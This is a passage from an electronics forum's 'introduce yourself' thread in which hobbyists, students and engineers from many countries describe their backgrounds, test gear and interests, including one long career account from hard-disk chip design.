Ah yeah, sorry...  :o  A long day, 6hrs of maths!   http://www.williamhart.info/ (http://www.williamhart.info/)
Title: Re: New Member, Please introduce yourself
Post by: dTor the Calibrator on January 28, 2012, 01:10:39 pm
Hello everyone!  My name is Darrin.  I am a calibration technician for the MS Army National Guard.  I have been in the cal lab for almost eight years now and I really enjoy my work.  I have calibrated far too many different items to list here individually, but in general we do most types of signal/function/arbitrary waveform generators up to 26 GHz (and we have a new model that is being fielded that goes up to 40 GHz), modulation/audio analyzers, attenuators/power splitters/filters, various aviation VOR/ILS/Transponder test sets, multimeters, power meters, all types of physical and dimensional, radio test sets... it would be easier to list what I haven't calibrated.

The test standards I use: at my bench, I have an Agilent E4448A & N1911 (MMR setup) with avionics measurement software, HP 3458 DMM, Agilent E4407 (don't use it too much anymore), Agilent infiniium OS-303 scope (soon to be replaced), Fluke 9640A, Anritsu 68369A/NV, IFR 2023B sig gen, LeCroy 9210 pulse gen, Fluke 5720A & 5725 calibrator and amp, Fluke 5820A oscope calibrator, Ophir RF 100W RF amplifier (forgot the model), Bird 4421 power meter.

We also have other benches that are more specialized in their tasking (meter bench, radio test set bench, avionics bench, etc.).  My primary focus is on sig gens, attenuators, microwatt meters, spectrum analyzers, and other electronic test equipment.
Title: Re: New Member, Please introduce yourself
Post by: MikeT on January 30, 2012, 10:25:01 am
Hello I'm Mike From Wales, UK. I was interested in electronics & embedded controllers some years ago and now started to get back into doing and learning. Nice to see such a lot of friendly people on a really good forum in pursuit of the same interests.
Title: Re: New Member, Please introduce yourself
Post by: electrode on January 31, 2012, 09:40:12 am
Hey guys,

I'm in my final year of a mechatronic engineering degree, but before that, a hobbiest of electronics for quite some time. I think I've been following EEVBlog since about episode 20 - seemed about time I joined up!

Anyway, in reading these boards for a few months, there's definitely some quality info and knowledgeable people around these parts. Good work Dave, et al.

 :)

PS: Is this capture verification thing going to happen for every post? Or just while I'm new?  :-\
Edit: Seems to be gone now. Woo.
Title: Re: New Member, Please introduce yourself
Post by: BlinkY on February 01, 2012, 08:56:44 am
I might as well get my name here, I probably won't post all that much as I am new to electronics, though I know some basic information, and only usually read about it at the moment but aim to get more into it when I get a new job (redundant carpenter :/) and take it to a creating level with PCB's .
So my name is Martin I am from the Oxford (uk) but live in South Wales (uk). I'm a 24 year old qualified carpenter who is aiming to further his career by going to university to study information security to become a network administrator.
Though I haven't flown in a while I do fly R/C helicopters (nitro and lipos), so I guess that is as close to electronics as I am at the moment it does involve, at times, soldering lol :).
I do love electronics and envy any one working in it as a full time occupation. Luckily I have two uncles who both work or have worked within the electronic industry so I get to chat to them frequently.

Thank you for reading :).
Title: Re: New Member, Please introduce yourself
Post by: tbutton on February 02, 2012, 06:30:54 am
I am an engineer from The Russian Federation with some time on my hands.
I have worked in the Aerospace industries.
Title: Re: New Member, Please introduce yourself
Post by: r0g3r on February 03, 2012, 06:23:52 am
Hi all
My name is Roger
I love low power electronics stuff.
My specialtys are:
solar systems, energy harvesting, smd step up/down circuits, cnc engrave, visual basic programming and mutch more.
Special hi to Dave for making all the nice vids.
Cu l8ter  8)

roger
Title: Re: New Member, Please introduce yourself
Post by: Shocked on February 03, 2012, 07:00:45 am
Hi, My name is Daryl and I am from Canada. I have worked in IT for many years and have taken up an interest in electronics and am currently trying to outfit a home lab.

I have enjoyed watching many of Dave's videos and they have been very helpful for me in product selection for my lab. Great work Dave!

Title: Re: New Member, Please introduce yourself
Post by: pikuorguk on February 08, 2012, 09:46:40 am
I'm James. I mostly watch the blog on YouTube and randomly comment in there. By day I teach kids ICT, by night I write software and take electronics to bits (http://piku.org.uk). I've been merrily voiding warranties since I was old enough to work out that the insides of gadgets are much more interesting than the outsides. I also collect retro computers.

I used to be an outdoor activity instructor in a past life and used to do rock climbing and the English equivalent of canyoneering, which is a rather cold thing to do in the UK.

My electronics knowledge tends to be functional - I can repair things that go 'pop' (like the PSU in my BBC Micro). One day they'll invent more hours in the day and I'll be able to sit down and spend time learning all the theory too ;-)
Title: Re: New Member, Please introduce yourself
Post by: pr0gg3d on February 09, 2012, 01:36:35 am
Hi guys, i'm very happy to join this forum. The EEVBlog is absolutely amazing!

I hope to share ideas, projects, doubt and experiences with you all, and keeping this forum live.

See you soon!



Title: Re: New Member, Please introduce yourself
Post by: BlinkY on February 09, 2012, 08:15:43 am
I'm James. I mostly watch the blog on YouTube and randomly comment in there. By day I teach kids ICT, by night I write software and take electronics to bits (http://piku.org.uk). I've been merrily voiding warranties since I was old enough to work out that the insides of gadgets are much more interesting than the outsides. I also collect retro computers.

I used to be an outdoor activity instructor in a past life and used to do rock climbing and the English equivalent of canyoneering, which is a rather cold thing to do in the UK.

My electronics knowledge tends to be functional - I can repair things that go 'pop' (like the PSU in my BBC Micro). One day they'll invent more hours in the day and I'll be able to sit down and spend time learning all the theory too ;-)

Fasinating post James. What language do you write in by the way. I have recently started c++ as my first. I tried VB but it doesn't seem the most used now.
Title: Re: New Member, Please introduce yourself
Post by: Baliszoft on February 09, 2012, 08:36:47 pm
Hello!

My name is Balazs (Brian) Farkas, I am 37 at the moment, living in Budapest, Hungary (Europe). I supposed to be a software engineer, working mainly on low level devices (DSPs and uControllers) using assembly language exclusively. I am also doing the hardware work (engineering, prototyping) for all my stuff. The project i am actually working on is a complete automotive engine management system.
Title: Re: New Member, Please introduce yourself
Post by: plentyngood on February 10, 2012, 01:38:06 pm
Hi,

My name's Kevin. I have lived in Ecuador the last six years and just recently got interested in microcontrollers. All the gear I have is the gear Dave hates...cheap! I'm just a hobbiest but like the forum for talk on microcontrollers and measurement accuracy.

Come visit!
Title: Re: New Member, Please introduce yourself
Post by: nickds1 on February 11, 2012, 02:17:45 am
Hi - Name's Nick - degree is in EE a while back, but I do maths & stuff for finance companies as a day job. Still do electronics stuff as a hobby - design amps etc. for friends and have a long standing interest in cold-cathode display devices - I run the neonixie-l google group (drop in and see us - lots of EEs/artists with interests in vintage displays there). Put a photo of part of my bench in the workbench thread...
Title: Re: New Member, Please introduce yourself
Post by: Vredstein on February 12, 2012, 05:29:32 pm
I'm a bicycle mechanic from Arizona. Know nothing about electronics, but it seems like a good outlet for my desire to find out how things work, why some things don't work, and how to make something work better. Don't even own a breadboard yet. Tools and gadgets get me hard and this place is an orgy.
If this post shows up, it means I managed to get the "Verification" math question correct, and there might be hope for me.
Title: Re: New Member, Please introduce yourself
Post by: Mashpriborintorg on February 13, 2012, 03:41:21 am
Hi, I'm Sylvain, I have a electronics school background, but it was years ago, and sadly job opportunities took me away from doing electronics for a living. My main hobbies are collecting exotic electronic stuff, from avionics to pacemakers, with a special attract for eastern electronics. Google for "flickr mashpriborintorg" to find my photostream, it has more than 1000 photos of more or less unusual electronic stuff. An other hobby is (of course...) tinkering and taking appart things , but needless to say I'm now fed up with tinkering crappy consumer electronics (I've done dozens of computers, tvs, vcrs, printers, laptops, cameras, microwaves and so on....), so I try to get more interesting stuff to play with. One piece at a time, I'm also trying to put together a small lab, in order to be able to play more, review yhe basics and try to fix more and more stuff.
Title: Re: New Member, Please introduce yourself
Post by: Majorstrain on February 14, 2012, 05:38:59 pm
Hi Guys and Gals,
I'm an electronics and strain gauge tech here in Perth, Western Australia working for one of the universities.
Hobby wise, I'm into CNC and manual machining as well as RC aircraft.
Cheers,
Phil
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on February 14, 2012, 06:27:48 pm
Gooday Phil,
West Oz Rules!
VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: cowboy303 on February 15, 2012, 02:54:38 am
I'm a Cattle, Goat, Chicken, farmer in South East Missouri.
Love electronics but don't new much about them.  Was researching on youtube and ran  into Dave watched 20+ hours of him then thought I'd look at the eevblog and found you guys.  found all sorts of info and now thanks to Dave and you I'm working on a power Supply(something I wouldn't have touch with a ten foot pole before). :)
Title: Re: New Member, Please introduce yourself
Post by: oddeohead on February 15, 2012, 01:25:19 pm
Hi everyone and Dave of course! I have been lurking for eons and have finally decided to register! I really hope to meet some great people who share in the love of electronics.
My primary field is audio and I also design custom switching systems for pro and not so pro musicians.
Have a great day!
Jeff
Title: Re: New Member, Please introduce yourself
Post by: rkoval on February 18, 2012, 11:52:00 am
Hello everyone,

My name is Richard.  I live in Connecticut/USA.  I am a chemist by day that repairs scientific equipment for a large instrument company.  After hours I love to work on electronics, programming and science related things. I've been doing "Teardowns" since I was a kid. Love seeing it covered here.

Plan on building up Dave's Version 1 power supply.  Really excited about it.  Looking forward to other build videos.

Thanks
Title: Re: New Member, Please introduce yourself
Post by: nardev on February 18, 2012, 12:50:26 pm
EE student dropout, IT bsc and very interested in micro-controllers...currently only PIC
Title: Re: New Member, Please introduce yourself
Post by: dustooff on February 18, 2012, 03:06:37 pm
Hi all,
another b^*###& aussie...
SE QLD
been doing Electronics tech work since late 80's, mostly instrumentation.
actually came into contact with some of Dave's designs around 93-94.

Am another CNC'er.

hobbies, making things out of wood.

regards
Andrew
Title: Re: New Member, Please introduce yourself
Post by: Christe4nM on February 19, 2012, 01:58:05 am
Hi everyone,

Two weeks ago I stumbled on the EEVblog while researching DMM’s. Thanks to Dave and some of your reviews I decided to order an Agilent U1272A as my very first measurement device. While watching Dave and reading the forums I realized there’s a ton of information/treasure here, so I registered and became a forum member.

I’m an undergraduate EE student from the Netherlands. I think I’ll be mostly asking questions, but hopefully I’ll be able to contribute as well. Before university I never thought a moment about EE, but since the start of the study it grew on me and currently I’m considering designing my own linear voltage supply. By reading a lot I understand the basic design, but I’d like to go deeper into line- and load regulation, step response, etc. (Yes, I’m a bit of a perfectionist  ;)) Also I hardly know anything about MCU’s so, I’m guessing it’ll be a multiyear project, but learning and discovering is really fun.

Greetings,
Christean
Title: Re: New Member, Please introduce yourself
Post by: nardev on February 19, 2012, 10:07:49 pm
Hi all, my name is Filip and I am from Croatia. No formal education in electric/electronics (I am machinist) but electronics is my hobby from early days...

Dje si komšija, ješta mai :D
Title: Re: New Member, Please introduce yourself
Post by: Tube_Dude on February 20, 2012, 02:59:29 am
Hello

I'm Jorge, from Portugal and have been lurking around for some time.

Today I take the decision to become member of this thoughtful comunity...
Title: Re: New Member, Please introduce yourself
Post by: Pentium100 on February 20, 2012, 10:16:59 am
Hi, I live in Lithuania, somebody on Stack Exchange linked to one of the EEVblog videos and I watched a lot of them - really interesting.

While I sometimes build new devices, I am more interested in repairing old ones and to do that effectively I have to understand how the device works and the design of it, since I sometimes cannot find service manuals or circuit diagrams. Building new stuff is fun, but takes a lot of money - this is why I don't do it very often. I also only build things for myself - not mass production for sale.
Title: Re: New Member, Please introduce yourself
Post by: steve_w on February 20, 2012, 05:14:44 pm
Hi

My name is steve, I was a radio tech but now work in management :-(   I get my electronics fix after hours.  I am into micros and home automation, Love AVR and would like to get into PIC.

Title: Re: New Member, Please introduce yourself
Post by: LuckyJaker on February 21, 2012, 03:02:35 am
Hi my name is Luc I am from Quebec, Canada.  I designed electronics and software/firmware for the last 30 year although my degree is in physics.  Dave I really enjoy your blog.  (I am french canadian, so forgive me for the quality of my english).
Title: Re: New Member, Please introduce yourself
Post by: lloop9 on February 21, 2012, 03:04:01 pm
Hello guys, I'm Andrew. I've been lurking for sometime now, but its time to show my true colors, hehehe. Thank you for having me here! This is a fantastic place to be!
Title: Re: New Member, Please introduce yourself
Post by: gnamp on February 21, 2012, 03:31:55 pm
Hi, I'm Dominic. I'm a law student & taxi driver in England. I'm interested in programming, computer-graphics and electronics. I like designing and fixing things :)
Title: Re: New Member, Please introduce yourself
Post by: Andy on February 22, 2012, 11:34:11 am
Hi all! My name is Andy. Just finished a Software Engineering degree in Australia. Stumbled across the EEVBlog a couple of months ago and had my childhood interest in electronics reignited!
Title: Re: New Member, Please introduce yourself
Post by: opticpow on February 22, 2012, 11:39:31 pm
Just posting so my account doesn't get killed again!!!
Title: Re: New Member, Please introduce yourself
Post by: IntrepidN00b on February 23, 2012, 05:03:19 am
Hi Im Chris From Sweden, im curious has hell and loves to learn new things.
I get bored very easily and love challenges that are quite a bit over my current capacity.

I'm what you engineers would call a "Liberal arts student", well former one, and a drop out at that =D
Ive studied infomratics, systems theory, visual culture, inter artial relations, History of Ideas and science, and more.
Have worked for Nikon Nordic as a technical advisor to stores, customers and professional services, have also done an internship as a museum photographer and archivist. Current employment is IT Helpdesk (SPOC, 1st line).

Whent toa technical natrual sciences program at hichschool some 10 years ago.

I'm very much into the hacker mindset.

Im trying to learn to build stuff that amazes and make my life easier, so i have yet to figure out how to get midi enabled DSSTC automated into my htpc system running xbmc... ;-) (that was only half a joke btw)
Title: Re: New Member, Please introduce yourself
Post by: rolycat on February 23, 2012, 07:50:59 am
Hi, I've been interested in electronics since my schooldays in the 1970s when I built my first computer, a single-board 6502 with 4K of memory called the UK101.

First encounter with microcontrollers was in the late 90s when I bought a Simmstick AVR programmer called the DT006 from Dontronics - anyone remember those?

Since then I've done more programming than electronics, but my interest has been rekindled by Dave's blog and I'm getting into SMD techniques and newer chips like the PIC24.
Title: Re: New Member, Please introduce yourself
Post by: jaycee on February 26, 2012, 11:12:03 am
I'm Pete, a 30 year old guy from the UK, living in Norwich.

Electronics has been a long term hobby of mine which I don't get to do often enough. By trade I am a software engineer.
Title: Re: New Member, Please introduce yourself
Post by: stanigator on February 27, 2012, 03:13:23 pm
My name is Stanley Lee. I graduated from electrical engineering a few years ago in Canada. Even though I am not practicing it professionally, I would still like to engage with a community such as this one.
Title: Re: New Member, Please introduce yourself
Post by: Write_to_Smokegenerator on February 28, 2012, 07:09:46 pm
Hello. I'm Michael, I live in Austria and I'm interested in Hobby Electronics
Title: Re: New Member, Please introduce yourself
Post by: Randall W. Lott on February 29, 2012, 06:36:32 am
I've been an avid viewer of the EEVblog on YouTube for many years, but I decided it would be a smart choice to join the forum.

I'm Randy; a 23 year old Electrical Engineering student, PCB designer, and start-up company CTO in the USA.
Title: Re: New Member, Please introduce yourself
Post by: Greg323i on February 29, 2012, 09:36:16 pm
My name is Greg, I'm a scorpio living in Melbourne. I'm into cars, audio electronics, music, jet engines, etc. I'm married, but open-minded. Be gentle with me.  ;D ::)

I found Dave's videos through the 555 timer contest, actually and I've been watching all of them since last week. Some really good stuff there.
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Post by: Adrien on March 02, 2012, 10:07:14 am
Hi My name Adrien. I'm an Electronics Engineer in Auckland, New Zealand. Mainly working on Power Electronics devices. I am interested in Electronics in general, cars, Snowboard and windsurfing
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Post by: mrdubje on March 03, 2012, 06:00:35 am
Hello all.
I'm Jeroen from The Netherlands, 23 years old at this moment. Electronics was my main interest from when I was little, now I have made my (fairly passive) hobby into my work.
My daily job consists of repairing and testing products or just assembled PCB's. Occasionally, I build or help building test setups too. In short: I'm a test&repair operator/engineer.
My wish is to take place in a R&D department as a support technician for building test setups and such, thinking along with the development team without being completely responsible for a whole product and learning a lot in the process.

My schooling consists of a theoretical base, followed by an electronics study (Intermediate Vocational Training) for which I had to learn telecommunication techniques, transmission techniques, computer network management (Windows based) and lots of other stuff I do not know how to name in English. I graduated from it and have my diploma.

Software programming of chip programming (or on the computer, writing programs) is a nightmare for me. I just do not know where/how to start.
Same for my math skills, horrible (I'm not to keen on complex calculations)
This is what's keeping me from a higher level of education, unfortunately.

My hobby consists of repairing the occasional failure at home and building projects grabbed from the Internet from time to time. Also some minor modifications at various equipment.
I also learned to fabricate PCB's at school, but don't own any equipment to do so at home, something for the future I guess.

I stumbled upon the EEVBlog on Youtube a half year ago, watching and catching up since. I think Dave is great and probably was a nice colleague to have when at work.
Title: Re: New Member, Please introduce yourself
Post by: danander11 on March 04, 2012, 12:07:05 am
Danny here...

A Yank (born Arizona, from Houston Texas), living in Oz now.. (8 years).

Drummer for about 38 years..  recently got into audio engineering.  Building a nice project studio with some nice gear that I've accumulated..  building more.

No Einstein but I get by..  I ask a lot of questions but I'm not above jumping in anyways and sorting things out for myself.

Peace!
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Post by: Krapao on March 04, 2012, 11:50:14 pm
Hi, my name is Stefan, but i choose my user name from my favorite food :-)
I'm from Germany and do digital electronics with AVRs on hobby level.
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Post by: skyfilter on March 05, 2012, 01:03:10 am
Hi, my name is Ed. I am a manager at a Telecommunications company. Since very young I have always been interested in electronics. It has been my hobby for many years. For the last ten years not so much due to other responsibilities at work. I am looking rekindle that interest since I plan to retire one day doing what I like most. I have been searching for a good low cost oscilloscope. I read several reviews on many sites and narrowed down my selection to the Rigol DS1052E. I have had the brand new scope for one day and suddenly it crashed on me. I am seeing vertical bars or sometimes a white pattern only. It does go through the boot process where you see the "loading ..." message. My scope was shipped with what I think is the latest firmware (02.06.00). Feedback from other people who might have run into the same problem would be much appreciated. I am quite disappointed that Rigol does not have a good quality control of their products.
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Post by: ChrisMe on March 05, 2012, 09:23:52 am
Hi my name's Chris, 25 yrs old, I'm an engineering student and I am developing applications based on PIC or AVR microcontroller on the side. I also develop Java based solutions for companies
When I'm not doing anything related to before mentioned things, I'm a passionate motorcyclist.
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Post by: darrenb on March 06, 2012, 08:37:01 am
HI my name is Darren.  I'm 44 years old.  My full time job is 'airline pilot'.  I fly a 13 tonne SAAB 340 twin turboprop all over eastern australia out of Sydney airport.  I've only been doing this for a few years.

My previous job for ten years was self employed shareware software developer.  I made over a million dollars (spread over ten years - so not that much really) making a program called CityTime which was consistently in the top ten apps for Palm devices for many years.  CityTime and a few other apps that I have made are currently available for iPhone.  This was the easiest job I've ever had.

Prior to this I was a self employed Macintosh computer consultant.  This job was the most fun of anything I've done.  I'd run around the Sydney CBD (central business district) with a briefcase and a mobile phone helping out various clients with their computer problems.

Be careful what you wish for - it may come true.  Since I was a kid I had always wanted to be an airline pilot.  Now that I have achieved this it is the thing I've least liked doing out of all the things I've done in the last 20 years.
Title: Re: New Member, Please introduce yourself
Post by: mtkaalund on March 06, 2012, 03:30:53 pm
Hi, from Denmark, my official English title is "Bachelor of Engineering in Electrical, Electronic and Computer Engineering", which basic says that Im a electronic engineer, so....
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<ponds on what to write>
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Been following Dave for a couple of months now, and I have taken an interested in his video blogs.

 
Title: Re: New Member, Please introduce yourself
Post by: PaulS on March 06, 2012, 05:02:12 pm
Hey! I am Paul, 19 years old.

Currently in my second semester of electrical engineering at University of Colorado -  Colorado Springs.

I've been into electronics as long as I can remember, and I found EEVblog while looking to learn some more.
Currently I am watching all the the videos, on #38 right now.
Title: Re: New Member, Please introduce yourself
Post by: Spawn on March 08, 2012, 01:53:38 pm
Hi everyone, i am from the Netherlands.

I am electrical field engineer for 22 years now, i am following Dave on his youtube channel for a while now so i thought i should register here to share some knowledge and most important to learn a lot from others.
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Post by: DeezNANDs on March 09, 2012, 05:43:23 am
Greetings all!

My name is Drew, and I'm from the Northeast US. E.E. by degree, in college I had focused more on the VLSI design and solid-state physics end of the stick. I also had a great interest in high voltage systems and lasers. Sadly, I've spent most of my career so far doing QA type work for consumer electronics - and the hobbyist in me was put on hold for the last 8 years or so :)

Anyway - enthusiastically getting back into it now and digging out all my old test gear and inventory. Found eevBlog and have been following Dave's videos and the forum for a little while now. Seems like a great bunch of people here, and a good knowledge base.

So that's that!
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Post by: jyaan on March 09, 2012, 09:55:12 am
I'm Jonathan from Michigan (USA). I'm a software guy -- lots of experience with C, Java, Lisp, Python, etc. I'm still more or less starting out in the "professional" sense though. Anyways, I thought it would be really interesting to try coding on smaller devices, so I got an Arduino, Launchpad, meter, breadboard, etc (I'm still lacking a few important bits of kit -- particularly a scope -- but I manage). I found myself wanting to learn more about how electronics worked, and have been spending time reading various books and articles I found on the net. Eventually I found Dave's blog, so here I am.
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Post by: Greate on March 10, 2012, 09:21:49 am
I'm JD, new here a not so smart electronic technician that probably asking a lot of question here. Please be patient with me.
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Post by: TriodeTiger on March 10, 2012, 10:09:52 am
Hello EEVblogforum!

My name is Alexander, had sparked an interest in electronics a year ago by reading an old electronics course manual. Dave got me really interested in project design mid way, I simply love his sarcasm and seemingly coffee-driven episodes.

I know all sorts and bits of theory that are a little broken, have yet to *actually* build some things and have fun - finally have the time and money to do so. :) In fact ordering my Hakko FX-888 in a week.
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Post by: Quiggers on March 15, 2012, 09:44:52 pm
hello,
I completed a degree in electronic engineering last year and i'm half way through an add-on in electronic systems.

I'm a keen hobbiest, anything to do with audio / midi etc is right up my alley.

It was the video reviews of multi-meters and DSO's that brought me here.


Title: Re: New Member, Please introduce yourself
Post by: kj5cn on March 16, 2012, 05:07:38 am
Hi all,

I'm Peter, my homebase is Florida USA. I'm a senior electrical engineer, currently working as an independent contractor/consultant in electronic hardware and embedded software design.
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Post by: alcwell on March 16, 2012, 07:13:27 am
Hi all, I Alastair from the UK. I'm a mechanical guy and found EEVBlog when I decided it was time I learned a bit more about electronics while I was converting a manual bench mill to CNC.

I have been lurking for a while and am hoping the my account won't disappear again now that I have posted something!
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Post by: Aldem on March 17, 2012, 06:50:57 am
Hi, I'm Alan !

I'm from Québec, Canada.
28 Years old.

I have 2 diplomas. One as an industrial electrician and one as an industrial mechanic.

My father and 3 of his brothers are electricians, son when I was young, motors and circuits were my "lego blocks" ;)

Title: Re: New Member, Please introduce yourself
Post by: ShiftRegister on March 17, 2012, 09:53:29 am
Hi from England,

I'm just a hobbyist who used to play a little bit here and there with electronics as a teenager. Fast forward several decades and I picked up Arduino UNO R3 recently which sparked my interest in electronics again and quite by coincidence I have also stumbled upon Dave's videos on YouTube which brought me to this forum.

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Post by: jhalar on March 17, 2012, 06:40:48 pm
Hi I'm John,

I am from Sydney Australia.

I graduated as a computer and electronics engineer in 1992. Designed mainly microcontroller (68HC11 and similar) and RF stuff back then.
Moved slowly into computer servers and network engineering, fulltime by 1997. Have been in the IT side ever since.

I was feeling nostalgic and realised that I did not want to completely forget my skills I used to have in electronics.
Looking around the internet, trying to catch up on the electronics world when I came across this blog. Got me hooked.

Keep it up.

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Post by: ampdoctor on March 23, 2012, 08:26:21 am
Hi all;

I'm Carl and a product of the USN and Northern Illinois University. Started out ME and ended EE. Been working in pro audio in the area of design, repair, and modification of primarily valve electronics for the past 15 odd years.  I've been knocking the cobwebs out of the belfry lately and relearning a lot of what I've forgotten over the years, particularly in the area of embedded systems, and wound up here through Dave's youtube videos. This seems like a really good forum with good folks and I hope I'll be able to contribute in a positive way here.
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Post by: digitalundernet on March 25, 2012, 04:46:23 pm
Hey all. I'm JT and an EE student. I've been big into electronics since I was a kid. My parents quite loved that I kept trying to make robots. Back then all I did was BEAM type bots. Now I'm trying to learn more and I've dove head first into a project that might break me. I'm building (yet another) a Z80 computer. I've got some pretty lofty goals I don't quite know if I'll reach like 1 mb of RAM, ISA video, prototyping for extra hardware. I joined because I need a group to talk to, get feedback and learn from. I've followed Dave for a while but decided "Why the heck not?" and joined.

HI!
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Post by: Alex_arg on March 27, 2012, 03:10:30 am
Hi all, greetings from Argentina.
My name is Alejandro, i'm a self-taught electronic technician and C++programmer, living in small city in Argentinian NE.
I've always been working in design/build all sorts of electronic designs, but mostly as a hobby. I run a service/repair shop for living. (no work positions for design in this zone, and less for a 45 y.o. man).
I want to thank Dave for this great idea of video blogging, i've become a fan of this site and i like very much Dave's style of hosting the videos. Í discover the site a few weeks ago, so i'm getting up to date watching all the videos , some are very fun!.
Curiously, i always did the same thing when buying new instruments or any piece of equipmennt, open up first ! to see what's inside. :-).

Congratulations Dave ! you are doing a great job, mostly for young people interested in electronics. I still waiting your next video ! Bye
 
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Post by: 2is4 on March 28, 2012, 08:00:50 pm
 Hi my name Tesfa i am from ethiopia and currently in my last year of high school. I have always been interested in electronics because of my family. My dad is an epidemiologist and uses satellites to track the spread of diseases and always had cool bits of kit at home. I am currently hoping to set up a small lab so that i can build an 8 bit processor that i have designed  :)
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Post by: graynomad on March 28, 2012, 08:32:06 pm
Hmmm, well first electronics job in 1980 after about 8 years as a globe-trotting photographer/any job I could get.

Worked for 20 years in electronics/IT from analogue design to fuzzy logic database stuff. Had a product (EPROM emulator) on the market for a while.

Retired at 45, sold everything and hit the road.

Now I spend my time doing nature photography, writing, and tinkering with embedded uC designs while living wherever my 6x6 Army truck happens to be parked.

I spend most of my web time on the Arduino forum but hopefully can contribute here as well.

BTW, is it only newbies that have to enter that annoying verification code or does that continue for ever?

______
Rob
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Post by: artico78 on March 28, 2012, 08:43:54 pm
Hi, im an Engeneer in Electronic, i fix musical instruments like keyboards, mixer, live equipment. Electronic its my life, i studied for all my life that. Unfortunately in Italy its not easy work on hardware, just jobs like programmers in 90% of cases.
I hope to give my little help to made our blog grow up.
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Post by: christ on March 29, 2012, 11:33:10 pm
Hi - Chris from Scotland, here! I stumbled across this site and found a couple of interesting threads.......
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Post by: Taburn on March 30, 2012, 12:27:58 am
Hi, my name is Adam. I'm in my third year of electrical engineering and am currently on a co-op work term at an army base. I want to buy an oscilloscope, which is what lead me here  ::) My interests mainly revolve around analogue design and making tinny things that fit in boxes.
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Post by: mc on March 31, 2012, 10:55:36 am
Hi,
Moray here from Scotland.

I'm a vehicle technician during the day, predominantly dealing with diagnostics, but have always played with electronics/computers/websites for just as long as I've been playing with vehicles. I'm currently using Arduinos for a couple projects I've got on the go, and happened to stumble across this place while searching for some info on desigining/assembling my some SMD boards.
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Post by: AndyT8 on April 02, 2012, 12:32:37 am
Hi I'am Andy,

Now retired but used to work with control and data logging in the Chemical Engineering research field.  Worked a lot with PC's and data logging software and hardware.  Now days mostly repairing odds and sods at home but hopefully getting involved with my local school and the Rasberry Pi single board computer. Science Technology Engineering Maths ( STEM ) is the new name of the game in education, at last comming round to something sensible.
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Post by: free_electron on April 04, 2012, 10:11:59 am
Howdy  (fake 'Aussie' accent, not nearly as good as Dave's) , the name's Vincent Himpe but i go by the handle free_electron. I started electronics by burning my finger on a, too hot, transistor in a little radio when i was about 6 or 7 years old. After finishing school at 18 i ended up as a maintenance tech in a semiconductor waferfab. I did wet-etch, plasma-etch and ion-implantation as well as lithographic equipment and some other wacky machines like ashers, vapour deposition and sputtering machines. After successfully troubleshooting the electronic assemblies, at component level, ( they used to get shipped back to the manufacturer at exorbitant prices ) and doing some 'upgrades' to some of these machines i moved on to the R&D lab. I made the eval and prototype boards for newly minted silicon , wrote firmware and test software (GPIB) and debugged the chips using lasercutters , die probers e-beam machines and FIB equipment.

I helped debug and design the first ADSL chipsets in 1995, long before anyone had even heard about this technology.  I designed the board ( 12 layer pcb ) with the  line interface, analog frontend , a/d d/a , the modem ASIC as well as the first CARM chip (an ARM7 with a cache controller. We were the first users.. even ARM hadn't tried that one yet.. there were no compilers. Only a JTAG debugger that let you poke around in the RAM directly in HEX... I wrote the bootloader for the CARM in hand crafted assembly and translated it, by hand in HEX so it could be punched in, as well as the board-level downloader . This code is still in use today as it is now a standard for booting the ADSL firmware. It sits in mask ROM and cannot be altered.

In 2000 i moved to a new design center to assist in the mass deployment of ADSL technology. I was responsible for the R&D lab , the design of the reference and application boards as well as the engineering proto's. We had our own in-house pick and place and reflow oven to do quick-time ( less than 4 hour) prototypes of boards.
After the comms bubble burst in 2003, i dabbled some more in ADSL and then moved on to Bluetooth after the ADSL group was disbanded.

Having figured out after a few months that this was a dead-end technology i moved on to a new horizon. Bluetooth was conceived when 300 kilopixel camera's were the norm. They had grand idea's of people taking snapshots and sending them through bluetooth from the camera to the printer. By the time the first bluetooth chips were commercially viable and mass deployment had begun we had 3 megapixel camera's. And sending a single image would take 10 seconds... All the grand visions they had for bluetooth never materialized as it was obsolete by the time it hit the mass market. Killed by its too low data bandwidth. Wifi had taken over and bluetooth was relished to simple things like keyboards, mixe and little earpieces. For anything else it was too slow.

So , beginning 2005 i entered a new world: that of the datastorage and harddisks. Today i am perpetually pondering on new ways to make the silvery platters that people thrust their data to, spin smoothly. Make circuitry to position the head even faster and more accurately, all while checking for shocks, rotations, drops, vibrations and keeping the power consumption of the SOC and preamps on the heads in check. When an unexpected event causes power loss i recuperate the energy stored in the spinning disks ( by using the brushelss three phase motor as generator ) to safely complete a write operation and then retract and park the heads off the platter. If your computer contains a harddisk that is younger then 5 years there is a better than 70% chance it's got a chip in it that i helped design, debug and write code for (can't take all the credit. This is a team effort of over 50 people). I am still repsonsible for the eval boards and platform , the drive board level code ( the API to the drive algorithms, call it the HAL ) . I make all the development boards (Altium/Solidworks since it has to mate with the drive mechanics) write the eval code (8051 in PL/M and ARM7 in C / Assembly, FPGA in Verilog before it ends up in the ASIC) and write the test system on the PC to tdrive the eval board and all instrumentation ( GPIB/ USB/ Ethernet ) . PC code is Visual Basic / C# mixture with a gateway to a python and matlab test-scripting  and visualisation backbone.

In my spare time i dabble with any electronics i can lay hands on. Living in Silicon Valley has its advantage that all the good trade shows are in-town and it is easy to get free development kits.
I have published multiple books on electronics (Dave showed my previous one in #251) and am writing a bunch more.

When not dealing with electronics ( hard to believe , but yes, every year i 'pull the plug' on electronics for three weeks -literally- ) i can be found on some tropical reef , a tank with 32% oxygen strapped on the back , video or photocamera in hand , chasing all kinds of little critters. I have two unbreakable rules when it comes to scuba diving : i want an ocean that is 80 degrees F or more ( 27 celcius ) and 100 ft ( 30 meters) of visibility. The best piece of diving gear is an airplane... because it takes you to a warm ocean.

I got my own domain : www.siliconvalleygarage.com (http://www.siliconvalleygarage.com)

Still wondering why that transistor was so hot...
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Post by: graynomad on April 04, 2012, 10:51:01 am
Quote
When an unexpected event causes power loss i recuperate the energy stored in the spinning disks ( by using the brushelss three phase motor as generator ) to safely complete a write operation
That's clever.

Nice photos, I also moonlight as a photographer (www.robgray.com (http://www.robgray.com)) but strictly above water. I have a mate who dives a lot, he's currently up in the Phillipines and has similar criteria to you re water temp and visibility.

______
Rob

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Post by: neotesla on April 06, 2012, 06:49:37 pm
Hi, I'm Dan. I live in the country Australia (NSW). I'm a bit of a jack of all trades (and master of none, of course). Working as an IT Tech at the moment, part time. I thought of organising my home "workshop" a little bit, and then I saw Dave's video on YouTube. That's what got me here. That's it for now, cheers all.
Title: Re: New Member, Please introduce yourself
